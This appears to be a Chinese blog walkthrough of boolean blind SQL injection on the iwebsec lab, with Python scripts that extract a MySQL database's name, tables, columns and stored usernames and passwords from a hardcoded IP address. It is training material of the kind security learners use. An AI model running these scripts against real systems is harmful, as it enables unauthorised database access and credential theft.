• SQL注入漏洞 | bool型


    文章目录

    前言


    MySQL bool型


    1. 随便试试看回显
      在这里插入图片描述

      在这里插入图片描述

    2. bool注入原理

      我们可以利用回显内容来猜测数据库的内容和信息。
      比如,我们猜测数据库名的长度,length(database())=3。如果数据库名长度真的是3,则length(database())=3这个表达式是真的,则为1;如果数据库名长度不为3,则length(database())=3这个表达式是假的,则为0。因此我们只需要看数据库的回显反应即可,如果回显了,说明我们猜对了,如果不回显则说明我们猜错了。

      在这里插入图片描述
      一个个试,到7就回显了,说明我们猜数据库长度为7是对的。
      在这里插入图片描述

    3. 一个个试太麻烦,我们可以编写脚本帮我们做重复性的东西。

      import requests
      
      url = "http://8.134.148.36:8001/sqli/03.php"
      
      
      def DBlen():
          for i in range(20):
              payload = url + "?id=1 and length(database())={}".format(i)
              response = requests.get(url=payload)
              if "welcome to iwebsec!!!" in response.text:
                  print("数据名长度为", i)
      
      DBlen()
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
      • 8
      • 9
      • 10
      • 11
      • 12
      • 13

      在这里插入图片描述

    4. MID() 函数

      用于从文本字段中提取字符。
      在这里插入图片描述

      ord() 函数

      以一个字符(长度为1的字符串)作为参数,返回对应的 ASCII 数值。
      在这里插入图片描述

    5. 我们继续猜数据库名,一位位地猜。猜数据名的第1位为a,将a转成ASCII码为97,则ord(mid((select database()),1,1))=97
      在这里插入图片描述

      继续猜 ord(mid((select database()),1,1))=105
      在这里插入图片描述
      第一位猜出来了,接着猜第二位是啥。人工试太慢了,我们继续写脚本。

      # 利用二分法
      def DBname():
          result = ""
          for i in range(20):
              l = 32
              r = 130
              mid = (l + r) >> 1
              while (l < r):
                  payload = url + "?id=1 and ord(mid((select database()),{},1))>{}".format(i, mid)
                  response = requests.get(url=payload)
                  if "welcome to iwebsec!!!" in response.text:
                      l = mid + 1
                  else:
                      r = mid
                  mid = (l + r) >> 1
              result = result + chr(mid)
              print("数据库名为", result)
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
      • 8
      • 9
      • 10
      • 11
      • 12
      • 13
      • 14
      • 15
      • 16
      • 17

      在这里插入图片描述

    6. 接下来猜iwebsec数据库的表名。
      ord(mid((select database()),1,1))=97中的database换成表名group_concat(table_name) from information_schema.tables where table_schema=database()
      即为ord(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=95
      在这里插入图片描述
      猜出一位
      在这里插入图片描述
      还是继续用脚本吧

      def DBtable():
          result = ""
          for i in range(30):
              l = 32
              r = 130
              mid = (l + r) >> 1
              while (l < r):
                  payload = url + "?id=1 and ord(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{}".format(
                      i, mid)
                  response = requests.get(url=payload)
                  if "welcome to iwebsec!!!" in response.text:
                      l = mid + 1
                  else:
                      r = mid
                  mid = (l + r) >> 1
              result = result + chr(mid)
              print("数据库名的表名为", result)
             
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
      • 8
      • 9
      • 10
      • 11
      • 12
      • 13
      • 14
      • 15
      • 16
      • 17
      • 18

      在这里插入图片描述

    7. 继续测列名。
      ord(mid((select database()),1,1))=97中的database换成列名group_concat(column_name) from information_schema.columns where table_name=user
      即为ord(mid((select group_concat(column_name) from information_schema.columns where table_name='user'),1,1))=97

      在这里插入图片描述
      继续上脚本

      def DBcolumn():
          result = ""
          for i in range(30):
              l = 32
              r = 130
              mid = (l + r) >> 1
              while (l < r):
                  payload = url + "?id=1 and ord(mid((select group_concat(column_name) from information_schema.columns where table_name='user'),{},1))>{}".format(
                      i, mid)
                  response = requests.get(url=payload)
                  if "welcome to iwebsec!!!" in response.text:
                      l = mid + 1
                  else:
                      r = mid
                  mid = (l + r) >> 1
              result = result + chr(mid)
              print("数据库名的表的列为", result)
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
      • 8
      • 9
      • 10
      • 11
      • 12
      • 13
      • 14
      • 15
      • 16
      • 17

      在这里插入图片描述

    8. 最后猜一下每个列的值
      ord(mid((select database()),1,1))=97中的database换成字段group_concat(id,'--',username,'--',password,'--') from user
      即为 ord(mid((select group_concat(id,'--',username,'--',password,'--') from user),1,1))=97
      在这里插入图片描述
      继续上脚本

      def Getdata():
          result = ""
          for i in range(100):
              l = 32
              r = 130
              mid = (l + r) >> 1
              while (l < r):
                  payload = url + "?id=1 and ord(mid((select group_concat(id,'--',username,'--',password,'--') from user),{},1))>{}".format(i, mid)
                  response = requests.get(url=payload)
                  if "welcome to iwebsec!!!" in response.text:
                      l = mid + 1
                  else:
                      r = mid
                  mid = (l + r) >> 1
              result = result + chr(mid)
              print("数据库名的表的列为", result)
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
      • 8
      • 9
      • 10
      • 11
      • 12
      • 13
      • 14
      • 15
      • 16

      在这里插入图片描述

    9. 总脚本

      https://pan.baidu.com/s/1VxBWd_vk4-faOv5J6PUVdA?pwd=xxxi 
      
      • 1
  • 相关阅读:
    ubuntu20.04搭建janus服务器
    [附源码]JAVA毕业设计论文管理系统(系统+LW)
    vue3 状态管理工具 pinia 使用
    Linux ARM平台开发系列讲解(摄像头V4L2子系统) 2.12.2 摄像头V4L2出图框架介绍
    电脑换cpu要重装系统吗
    组合数的求解(打表,逆元,Lucas 定理,大整数求解)
    C/C++ 查泄漏得一些方法
    基于NPOI封装导出Excel方法
    springboot基于spring的宽带管理系统以及实现毕业设计源码250910
    Theme Studio(主题工作室)
  • 原文地址:https://blog.csdn.net/weixin_52116519/article/details/128081484